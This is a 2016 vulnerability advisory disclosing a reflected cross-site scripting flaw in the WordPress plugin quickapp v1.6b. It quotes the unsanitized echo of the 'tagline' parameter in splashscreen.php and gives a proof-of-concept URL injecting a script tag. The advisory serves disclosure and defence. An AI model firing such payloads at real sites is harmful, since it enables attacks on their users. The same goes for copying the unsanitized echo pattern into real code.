Advisory #: 39
Title: Reflected XSS in wordpress plugin quickapp v1.6b
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/quickapp
Downloads: 13576
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: quickapp
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./quickapp/includes/templates/splashscreen.php: 30: <?php echo $_GET['tagline']; ?> The variable tagline appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./quickapp/includes/templates/splashscreen.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/quickapp/includes/templates/splashscreen.php?tagline="><script>alert(1);</script><"